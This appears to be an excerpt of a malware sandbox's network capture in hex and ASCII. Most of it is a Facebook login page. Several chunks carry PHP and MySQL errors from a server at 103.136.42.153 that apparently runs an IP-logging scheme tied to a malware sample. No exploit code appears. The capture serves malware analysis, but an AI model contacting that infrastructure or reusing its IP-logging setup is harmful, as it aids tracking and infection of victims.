2022-09-09 16:01:51 UTC	421	IN	Data Raw: 5d 2c 5b 22 53 65 72 76 65 72 4e 6f 6e 63 65 22 2c 5b 5d 2c 7b 22 53 65 72 76 65 72 4e 6f 6e 63 65 22 3a 22 64 4e 43 42 47 30 33 61 53 31 6f 76 58 4f 64 35 6d 32 50 73 78 7a 22 7d 2c 31 34 31 5d 2c 5b 22 53 69 74 65 44 61 74 61 22 2c 5b 5d 2c 7b 22 73 65 72 76 65 72 5f 72 65 76 69 73 69 6f 6e 22 3a 31 30 30 36 31 37 33 32 30 35 2c 22 63 6c 69 65 6e 74 5f 72 65 76 69 73 69 6f 6e 22 3a 31 30 30 36 31 37 33 32 30 35 2c 22 74 69 65 72 22 3a 22 22 2c 22 70 75 73 68 5f 70 68 61 73 65 22 3a 22 43 33 22 2c 22 70 6b 67 5f 63 6f 68 6f 72 74 22 3a 22 42 50 3a 44 45 46 41 55 4c 54 22 2c 22 68 61 73 74 65 5f 73 65 73 73 69 6f 6e 22 3a 22 31 39 32 34 34 2e 42 50 3a 44 45 46 41 55 4c 54 2e 32 2e 30 2e 30 2e 30 2e 30 22 2c 22 70 72 22 3a 31 2c 22 68 61 73 74 65 5f 73 69 Data Ascii: ],["ServerNonce",[],{"ServerNonce":"dNCBG03aS1ovXOd5m2Psxz"},141],["SiteData",[],{"server_revision":1006173205,"client_revision":1006173205,"tier":"","push_phase":"C3","pkg_cohort":"BP:DEFAULT","haste_session":"19244.BP:DEFAULT.2.0.0.0.0","pr":1,"haste_si
2022-09-09 16:01:51 UTC	422	IN	Data Raw: 5f 50 52 4f 46 49 4c 45 22 2c 22 42 55 59 5f 41 54 5f 55 49 5f 4c 49 4e 45 5f 44 45 4c 45 54 45 22 2c 22 42 55 53 49 4e 45 53 53 5f 47 52 41 50 48 5f 53 45 54 54 49 4e 47 5f 41 50 50 5f 41 53 53 49 47 4e 45 44 5f 55 53 45 52 53 5f 4e 45 57 5f 41 50 49 22 2c 22 42 55 53 49 4e 45 53 53 5f 47 52 41 50 48 5f 53 45 54 54 49 4e 47 5f 42 55 5f 41 53 53 49 47 4e 45 44 5f 55 53 45 52 53 5f 4e 45 57 5f 41 50 49 22 2c 22 42 55 53 49 4e 45 53 53 5f 47 52 41 50 48 5f 53 45 54 54 49 4e 47 5f 45 53 47 5f 41 53 53 49 47 4e 45 44 5f 55 53 45 52 53 5f 4e 45 57 5f 41 50 49 22 2c 22 42 55 53 49 4e 45 53 53 5f 47 52 41 50 48 5f 53 45 54 54 49 4e 47 5f 50 52 4f 44 55 43 54 5f 43 41 54 41 4c 4f 47 5f 41 53 53 49 47 4e 45 44 5f 55 53 45 52 53 5f 4e 45 57 5f 41 50 49 22 2c 22 42 Data Ascii: _PROFILE","BUY_AT_UI_LINE_DELETE","BUSINESS_GRAPH_SETTING_APP_ASSIGNED_USERS_NEW_API","BUSINESS_GRAPH_SETTING_BU_ASSIGNED_USERS_NEW_API","BUSINESS_GRAPH_SETTING_ESG_ASSIGNED_USERS_NEW_API","BUSINESS_GRAPH_SETTING_PRODUCT_CATALOG_ASSIGNED_USERS_NEW_API","B
2022-09-09 16:01:51 UTC	424	IN	Data Raw: 2c 22 44 44 5a 68 6f 67 49 31 39 57 22 2c 22 61 63 72 4a 54 68 39 57 47 64 70 22 2c 22 31 6f 4f 45 36 34 66 4c 34 77 4f 22 2c 22 39 47 64 38 71 67 52 78 6e 38 7a 22 2c 22 4d 50 4d 61 71 6e 71 5a 39 63 22 2c 22 35 58 43 7a 31 68 39 49 61 77 33 22 2c 22 37 72 36 6d 53 50 37 6f 66 72 32 22 2c 22 36 44 47 50 4c 72 52 64 79 74 73 22 2c 22 61 57 78 43 79 69 31 73 45 43 37 22 2c 22 39 6b 43 53 44 7a 7a 72 38 66 75 22 2c 22 61 77 59 41 37 66 6e 32 42 73 65 22 2c 22 61 42 4d 6c 4a 38 51 52 50 57 45 22 5d 7d 7d 2c 32 35 38 30 5d 2c 5b 22 4a 53 45 72 72 6f 72 4c 6f 67 67 69 6e 67 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 61 70 70 49 64 22 3a 32 35 36 32 38 31 30 34 30 35 35 38 2c 22 65 78 74 72 61 22 3a 5b 5d 2c 22 72 65 70 6f 72 74 49 6e 74 65 72 76 61 6c 22 3a 35 30 Data Ascii: ,"DDZhogI19W","acrJTh9WGdp","1oOE64fL4wO","9Gd8qgRxn8z","MPMaqnqZ9c","5XCz1h9Iaw3","7r6mSP7ofr2","6DGPLrRdyts","aWxCyi1sEC7","9kCSDzzr8fu","awYA7fn2Bse","aBMlJ8QRPWE"]}},2580],["JSErrorLoggingConfig",[],{"appId":256281040558,"extra":[],"reportInterval":50
2022-09-09 16:01:51 UTC	425	IN	Data Raw: 2f 66 61 63 65 62 6f 6f 6b 2e 70 61 79 75 6c 61 74 61 6d 2e 63 6f 6d 22 2c 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 65 63 75 72 65 2e 70 61 79 75 2e 63 6f 6d 22 2c 22 68 74 74 70 73 3a 5c 2f 5c 2f 66 61 63 65 62 6f 6f 6b 2e 64 6c 6f 63 61 6c 2e 63 6f 6d 22 2c 22 68 74 74 70 73 3a 5c 2f 5c 2f 62 75 79 32 2e 62 6f 6b 75 2e 63 6f 6d 22 5d 7d 2c 34 39 32 30 5d 2c 5b 22 42 6f 6f 74 6c 6f 61 64 65 72 45 6e 64 70 6f 69 6e 74 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 64 65 62 75 67 4e 6f 42 61 74 63 68 69 6e 67 22 3a 66 61 6c 73 65 2c 22 65 6e 64 70 6f 69 6e 74 55 52 49 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 61 6a 61 78 5c 2f 62 6f 6f 74 6c 6f 61 64 65 72 2d 65 6e 64 70 6f 69 6e 74 5c 2f 22 7d 2c 35 30 39 34 5d 2c 5b Data Ascii: /facebook.payulatam.com","https:\/\/secure.payu.com","https:\/\/facebook.dlocal.com","https:\/\/buy2.boku.com"]},4920],["BootloaderEndpointConfig",[],{"debugNoBatching":false,"endpointURI":"https:\/\/www.facebook.com\/ajax\/bootloader-endpoint\/"},5094],[
2022-09-09 16:01:51 UTC	427	IN	Data Raw: 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 6f 70 74 69 6e 5c 2f 66 72 65 65 5c 2f 22 3a 31 2c 22 5c 2f 61 62 6f 75 74 5c 2f 70 72 69 76 61 63 79 5c 2f 22 3a 31 2c 22 5c 2f 61 62 6f 75 74 5c 2f 70 72 69 76 61 63 79 5c 2f 75 70 64 61 74 65 5c 2f 22 3a 31 2c 22 5c 2f 70 72 69 76 61 63 79 5c 2f 65 78 70 6c 61 6e 61 74 69 6f 6e 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 74 6f 67 67 6c 65 5c 2f 77 65 6c 63 6f 6d 65 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 74 6f 67 67 6c 65 5c 2f 6e 75 78 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 74 6f 67 67 6c 65 5c 2f 73 65 74 74 69 6e 67 73 5c 2f 22 3a 31 2c 22 5c 2f 66 75 70 5c 2f 69 6e 74 65 72 73 74 69 74 69 61 6c 5c 2f 22 3a 31 2c 22 5c 2f 77 6f 72 6b 5c 2f 6c 61 6e 64 69 6e 67 22 3a 31 2c 22 5c 2f 77 6f 72 6b 5c 2f Data Ascii: ":1,"\/zero\/optin\/free\/":1,"\/about\/privacy\/":1,"\/about\/privacy\/update\/":1,"\/privacy\/explanation\/":1,"\/zero\/toggle\/welcome\/":1,"\/zero\/toggle\/nux\/":1,"\/zero\/toggle\/settings\/":1,"\/fup\/interstitial\/":1,"\/work\/landing":1,"\/work\/
2022-09-09 16:01:51 UTC	428	IN	Data Raw: 66 5f 74 72 61 6e 73 69 74 69 6f 6e 5c 2f 22 3a 31 2c 22 5c 2f 6d 6f 62 69 6c 65 5c 2f 7a 65 72 6f 5c 2f 61 66 5f 74 72 61 6e 73 69 74 69 6f 6e 5c 2f 61 63 74 69 6f 6e 5c 2f 22 3a 31 2c 22 5c 2f 6d 6f 62 69 6c 65 5c 2f 7a 65 72 6f 5c 2f 66 72 65 65 6d 69 75 6d 5c 2f 22 3a 31 2c 22 5c 2f 6d 6f 62 69 6c 65 5c 2f 7a 65 72 6f 5c 2f 66 72 65 65 6d 69 75 6d 5c 2f 72 65 64 69 72 65 63 74 5c 2f 22 3a 31 2c 22 5c 2f 6d 6f 62 69 6c 65 5c 2f 7a 65 72 6f 5c 2f 66 72 65 65 6d 69 75 6d 5c 2f 7a 65 72 6f 5f 66 75 70 5c 2f 22 3a 31 2c 22 5c 2f 70 72 69 76 61 63 79 5c 2f 70 6f 6c 69 63 79 5c 2f 22 3a 31 2c 22 5c 2f 70 72 69 76 61 63 79 5c 2f 63 65 6e 74 65 72 5c 2f 22 3a 31 2c 22 5c 2f 64 61 74 61 5c 2f 6d 61 6e 69 66 65 73 74 5c 2f 22 3a 31 2c 22 5c 2f 34 6f 68 34 2e 70 Data Ascii: f_transition\/":1,"\/mobile\/zero\/af_transition\/action\/":1,"\/mobile\/zero\/freemium\/":1,"\/mobile\/zero\/freemium\/redirect\/":1,"\/mobile\/zero\/freemium\/zero_fup\/":1,"\/privacy\/policy\/":1,"\/privacy\/center\/":1,"\/data\/manifest\/":1,"\/4oh4.p
2022-09-09 16:01:51 UTC	429	IN	Data Raw: 2f 70 72 65 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 5c 2f 63 6f 6e 74 61 63 74 70 6f 69 6e 74 5f 63 68 61 6e 67 65 5c 2f 22 3a 31 2c 22 5c 2f 68 65 6c 70 5c 2f 63 6f 6e 74 61 63 74 5c 2f 22 3a 31 2c 22 5c 2f 73 75 72 76 65 79 5c 2f 22 3a 31 2c 22 5c 2f 75 70 73 65 6c 6c 5c 2f 6c 6f 79 61 6c 74 79 74 6f 70 75 70 5c 2f 61 63 63 65 70 74 5c 2f 22 3a 31 2c 22 5c 2f 73 65 74 74 69 6e 67 73 5c 2f 22 3a 31 2c 22 5c 2f 6c 69 74 65 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5f 73 74 61 74 75 73 5f 75 70 64 61 74 65 5c 2f 22 3a 31 2c 22 5c 2f 6f 70 65 72 61 74 6f 72 5f 73 74 6f 72 65 5c 2f 22 3a 31 2c 22 5c 2f 75 70 73 65 6c 6c 5c 2f 22 3a 31 2c 22 5c 2f 77 69 66 69 61 75 74 68 5c 2f 6c 6f 67 69 6e 5c 2f 22 3a 31 7d 7d 2c 31 34 37 38 5d 2c 5b 22 49 6e 74 6c 4e 75 6d 62 65 Data Ascii: /preconfirmation\/contactpoint_change\/":1,"\/help\/contact\/":1,"\/survey\/":1,"\/upsell\/loyaltytopup\/accept\/":1,"\/settings\/":1,"\/lite\/":1,"\/zero_status_update\/":1,"\/operator_store\/":1,"\/upsell\/":1,"\/wifiauth\/login\/":1}},1478],["IntlNumbe
2022-09-09 16:01:51 UTC	431	IN	Data Raw: 2c 7b 22 5f 5f 72 63 22 3a 5b 22 63 6c 65 61 72 54 69 6d 65 6f 75 74 42 6c 75 65 22 2c 22 41 61 30 6b 45 30 41 4b 73 6a 4a 47 67 62 79 6e 43 71 67 2d 45 4c 6f 65 64 5f 6c 31 6a 75 77 59 5f 32 58 6c 30 57 72 6f 37 4e 2d 47 46 58 39 55 75 52 50 4d 74 53 5a 4c 4a 51 66 68 37 74 5f 44 75 6e 4a 56 68 4f 53 4e 67 6e 42 33 45 38 68 59 33 61 44 39 35 38 73 30 6e 79 59 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 38 30 37 30 34 32 22 2c 5b 22 73 65 74 54 69 6d 65 6f 75 74 42 6c 75 65 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 73 65 74 54 69 6d 65 6f 75 74 42 6c 75 65 22 2c 22 41 61 30 6b 45 30 41 4b 73 6a 4a 47 67 62 79 6e 43 71 67 2d 45 4c 6f 65 64 5f 6c 31 6a 75 77 59 5f 32 58 6c 30 57 72 6f 37 4e 2d 47 46 58 39 55 75 52 50 4d 74 53 5a 4c 4a 51 66 68 37 74 5f 44 75 6e 4a Data Ascii: ,{"__rc":["clearTimeoutBlue","Aa0kE0AKsjJGgbynCqg-ELoed_l1juwY_2Xl0Wro7N-GFX9UuRPMtSZLJQfh7t_DunJVhOSNgnB3E8hY3aD958s0nyY"]},-1],["cr:807042",["setTimeoutBlue"],{"__rc":["setTimeoutBlue","Aa0kE0AKsjJGgbynCqg-ELoed_l1juwY_2Xl0Wro7N-GFX9UuRPMtSZLJQfh7t_DunJ
2022-09-09 16:01:51 UTC	432	IN	Data Raw: 3a 30 2c 22 70 72 6f 67 72 65 73 73 22 3a 30 2c 22 70 61 75 73 65 22 3a 30 2c 22 65 6e 64 65 64 22 3a 30 2c 22 73 65 65 6b 65 64 22 3a 30 2c 22 73 65 65 6b 69 6e 67 22 3a 30 2c 22 77 61 69 74 69 6e 67 22 3a 30 2c 22 6c 6f 61 64 65 64 6d 65 74 61 64 61 74 61 22 3a 30 2c 22 63 61 6e 70 6c 61 79 22 3a 30 2c 22 73 65 6c 65 63 74 69 6f 6e 63 68 61 6e 67 65 22 3a 30 2c 22 63 68 61 6e 67 65 22 3a 30 2c 22 74 69 6d 65 75 70 64 61 74 65 22 3a 30 2c 22 61 64 61 70 74 61 74 69 6f 6e 22 3a 30 2c 22 66 6f 63 75 73 22 3a 30 2c 22 62 6c 75 72 22 3a 30 2c 22 6c 6f 61 64 22 3a 30 2c 22 65 72 72 6f 72 22 3a 30 2c 22 6d 65 73 73 61 67 65 22 3a 30 2c 22 61 62 6f 72 74 22 3a 30 2c 22 73 74 6f 72 61 67 65 22 3a 30 2c 22 73 63 72 6f 6c 6c 22 3a 32 30 30 30 30 30 2c 22 6d 6f 75 Data Ascii: :0,"progress":0,"pause":0,"ended":0,"seeked":0,"seeking":0,"waiting":0,"loadedmetadata":0,"canplay":0,"selectionchange":0,"change":0,"timeupdate":0,"adaptation":0,"focus":0,"blur":0,"load":0,"error":0,"message":0,"abort":0,"storage":0,"scroll":200000,"mou
2022-09-09 16:01:51 UTC	434	IN	Data Raw: 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 5d 2c 22 73 64 22 5d 5d 2c 5b 22 52 65 71 75 69 72 65 44 65 66 65 72 72 65 64 52 65 66 65 72 65 6e 63 65 22 2c 22 75 6e 62 6c 6f 63 6b 22 2c 5b 5d 2c 5b 5b 22 41 73 79 6e 63 52 65 71 75 65 73 74 22 2c 22 42 61 6e 7a 61 69 53 63 75 62 61 5f 44 45 50 52 45 43 41 54 45 44 22 2c 22 56 69 73 75 61 6c 43 6f 6d 70 6c 65 74 69 6f 6e 47 61 74 69 6e 67 22 2c 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 5d 2c 22 63 73 73 22 5d 5d 5d 7d 29 3b 7d 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 66 62 78 20 55 49 50 61 67 65 5f 4c 6f 67 67 65 64 4f 75 74 20 68 61 73 42 61 6e 6e 65 Data Ascii: ing","IntlQtEventFalcoEvent"],"sd"]],["RequireDeferredReference","unblock",[],[["AsyncRequest","BanzaiScuba_DEPRECATED","VisualCompletionGating","FbtLogging","IntlQtEventFalcoEvent"],"css"]]]});});</script></head><body class="fbx UIPage_LoggedOut hasBanne
2022-09-09 16:01:51 UTC	435	IN	Data Raw: 62 65 6c 20 66 6f 72 3d 22 65 6d 61 69 6c 22 3e 45 6d 61 69 6c 20 6f 72 20 70 68 6f 6e 65 3c 2f 6c 61 62 65 6c 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 5f 65 72 72 22 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 65 6d 61 69 6c 22 20 63 6c 61 73 73 3d 22 69 6e 70 75 74 74 65 78 74 20 6c 6f 67 69 6e 5f 66 6f 72 6d 5f 69 6e 70 75 74 5f 62 6f 78 22 20 6e 61 6d 65 3d 22 65 6d 61 69 6c 22 20 69 64 3d 22 65 6d 61 69 6c 22 20 64 61 74 61 2d 74 65 73 74 69 64 3d 22 72 6f 79 61 6c 5f 65 6d 61 69 6c 22 20 2f 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 5f 65 72 73 22 3e 3c 6c 61 62 65 6c 20 66 6f 72 3d 22 70 61 73 73 22 3e 50 61 73 73 77 6f 72 64 3c 2f 6c 61 62 65 6c 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 5f 65 72 73 22 3e Data Ascii: bel for="email">Email or phone</label></div><div class="_err"><input type="email" class="inputtext login_form_input_box" name="email" id="email" data-testid="royal_email" /></div><div class="_ers"><label for="pass">Password</label></div><div class="_ers">
2022-09-09 16:01:51 UTC	437	IN	Data Raw: 65 3d 22 70 72 65 66 69 6c 6c 5f 74 79 70 65 22 20 2f 3e 3c 2f 66 6f 72 6d 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 5f 79 6c 39 22 3e 44 6f 20 79 6f 75 20 77 61 6e 74 20 74 6f 20 6a 6f 69 6e 20 46 61 63 65 62 6f 6f 6b 3f 3c 2f 64 69 76 3e 3c 61 20 72 6f 6c 65 3d 22 62 75 74 74 6f 6e 22 20 63 6c 61 73 73 3d 22 5f 34 32 66 74 20 5f 34 6a 79 30 20 5f 79 6c 61 20 5f 34 6a 79 33 20 5f 34 6a 79 32 20 73 65 6c 65 63 74 65 64 20 5f 35 31 73 79 20 6d 72 6d 22 20 68 72 65 66 3d 22 2f 72 65 67 2f 3f 70 72 69 76 61 63 79 5f 6d 75 74 61 74 69 6f 6e 5f 74 6f 6b 65 6e 3d 65 79 4a 30 65 58 42 6c 49 6a 6f 77 4c 43 4a 6a 63 6d 56 68 64 47 6c 76 62 6c 39 30 61 57 31 6c 49 6a 6f 78 4e 6a 59 79 4e 7a 4d 35 4d 7a 45 78 4c 43 4a 6a 59 57 78 73 63 32 6c 30 5a 56 Data Ascii: e="prefill_type" /></form></div><div class="_yl9">Do you want to join Facebook?</div><a role="button" class="_42ft _4jy0 _yla _4jy3 _4jy2 selected _51sy mrm" href="/reg/?privacy_mutation_token=eyJ0eXBlIjowLCJjcmVhdGlvbl90aW1lIjoxNjYyNzM5MzExLCJjYWxsc2l0ZV
2022-09-09 16:01:51 UTC	438	IN	Data Raw: 69 6f 6e 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 20 c2 b7 20 3c 2f 73 70 61 6e 3e 3c 61 20 68 72 65 66 3d 22 2f 68 65 6c 70 2f 3f 72 65 66 3d 34 30 34 22 20 64 61 74 61 2d 67 74 3d 22 26 23 31 32 33 3b 26 71 75 6f 74 3b 74 61 72 67 65 74 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 65 6c 70 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 6d 61 72 6b 65 74 69 6e 67 5f 70 61 67 65 5f 63 6c 69 63 6b 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 31 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 63 6f 6e 76 65 72 73 69 6f 6e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 31 26 71 75 6f 74 3b 26 23 31 32 35 3b 22 3e 56 69 73 69 74 20 6f 75 72 20 48 65 6c 70 20 43 65 6e 74 65 72 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 Data Ascii: ion" aria-hidden="true"> </span><a href="/help/?ref=404" data-gt="{"target":"help","marketing_page_click":"1","conversion":"1"}">Visit our Help Center</a></div></div></div><div class
2022-09-09 16:01:51 UTC	440	IN	Data Raw: 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 73 65 63 75 72 69 74 65 69 6e 66 6f 2e 63 6f 6d 2e 77 69 6e 33 32 2e 6d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 Data Ascii: @'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='securiteinfo.com.win32.malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff00
2022-09-09 16:01:51 UTC	441	IN	Data Raw: 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 57 61 72 6e 69 6e 67 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 5c 75 30 30 32 35 32 30 65 78 70 65 63 74 73 5c 75 30 30 32 35 32 30 70 61 72 61 6d 65 74 65 72 5c 75 30 30 32 35 32 30 32 5c 75 30 30 32 35 32 30 74 6f 5c 75 30 30 32 35 32 30 62 65 5c 75 30 30 32 35 32 30 72 65 73 6f 75 72 63 65 2c 5c 75 30 30 32 35 32 30 62 6f 6f 6c 65 61 6e 5c 75 30 30 32 35 32 30 67 69 76 65 6e 5c Data Ascii: 50A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EWarning\u00253C\/b\u00253E:\u002520\u002520mysql_query()\u002520expects\u002520parameter\u0025202\u002520to\u002520be\u002520resource,\u002520boolean\u002520given\
2022-09-09 16:01:51 UTC	443	IN	Data Raw: 71 6c 25 32 30 65 78 74 65 6e 73 69 6f 6e 25 32 30 69 73 25 32 30 64 65 70 72 65 63 61 74 65 64 25 32 30 61 6e 64 25 32 30 77 69 6c 6c 25 32 30 62 65 25 32 30 72 65 6d 6f 76 65 64 25 32 30 69 6e 25 32 30 74 68 65 25 32 30 66 75 74 75 72 65 3a 25 32 30 75 73 65 25 32 30 6d 79 73 71 6c 69 25 32 30 6f 72 25 32 30 50 44 4f 25 32 30 69 6e 73 74 65 61 64 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 34 37 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 72 Data Ascii: ql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr
2022-09-09 16:01:51 UTC	444	IN	Data Raw: 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 5c 75 30 30 32 35 32 30 54 68 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5c 75 30 30 32 35 32 30 65 78 74 65 6e 73 69 6f 6e 5c 75 30 30 32 35 32 30 69 73 5c 75 30 30 32 35 32 30 64 65 70 72 65 63 61 74 65 64 5c 75 30 30 32 35 32 30 61 6e 64 5c 75 30 30 32 35 32 30 77 69 6c 6c 5c 75 30 30 32 35 32 30 62 65 5c 75 30 30 32 35 32 30 72 65 6d 6f 76 65 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 74 68 65 5c 75 30 30 32 35 32 30 66 75 74 75 72 65 3a 5c 75 30 30 32 35 32 30 75 73 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 69 5c 75 30 30 32 35 32 30 6f 72 5c 75 30 30 32 35 32 30 50 44 4f 5c 75 30 30 32 35 32 30 69 6e 73 74 65 61 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c Data Ascii: l_pconnect():\u002520The\u002520mysql\u002520extension\u002520is\u002520deprecated\u002520and\u002520will\u002520be\u002520removed\u002520in\u002520the\u002520future:\u002520use\u002520mysqli\u002520or\u002520PDO\u002520instead\u002520in\u002520\u00253Cb\
2022-09-09 16:01:51 UTC	446	IN	Data Raw: 2d 5c 75 30 30 32 35 32 30 41 63 63 65 73 73 5c 75 30 30 32 35 32 30 64 65 6e 69 65 64 5c 75 30 30 32 35 32 30 66 6f 72 5c 75 30 30 32 35 32 30 75 73 65 72 5c 75 30 30 32 35 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 5c 75 30 30 34 30 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 28 75 73 69 6e 67 5c 75 30 30 32 35 32 30 70 61 73 73 77 6f 72 64 3a 5c 75 30 30 32 35 32 30 59 45 53 29 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 73 65 6c 65 63 74 5c 75 30 30 32 35 32 30 69 70 6c 6f 67 67 65 72 5c 75 30 30 32 35 32 30 66 72 6f 6d 5c 75 30 30 32 35 32 30 74 5f 63 68 61 6e 6e 65 6c 73 5c 75 30 30 32 35 32 30 77 68 Data Ascii: -\u002520Access\u002520denied\u002520for\u002520user\u002520'dbnew01'\u0040'localhost'\u002520(using\u002520password:\u002520YES)\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253Eselect\u002520iplogger\u002520from\u002520t_channels\u002520wh
2022-09-09 16:01:51 UTC	447	IN	Data Raw: 25 33 43 62 25 33 45 57 61 72 6e 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 25 32 30 65 78 70 65 63 74 73 25 32 30 70 61 72 61 6d 65 74 65 72 25 32 30 32 25 32 30 74 6f 25 32 30 62 65 25 32 30 72 65 73 6f 75 72 63 65 2c 25 32 30 62 6f 6f 6c 65 61 6e 25 32 30 67 69 76 65 6e 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 37 33 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f Data Ascii: %3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20colo
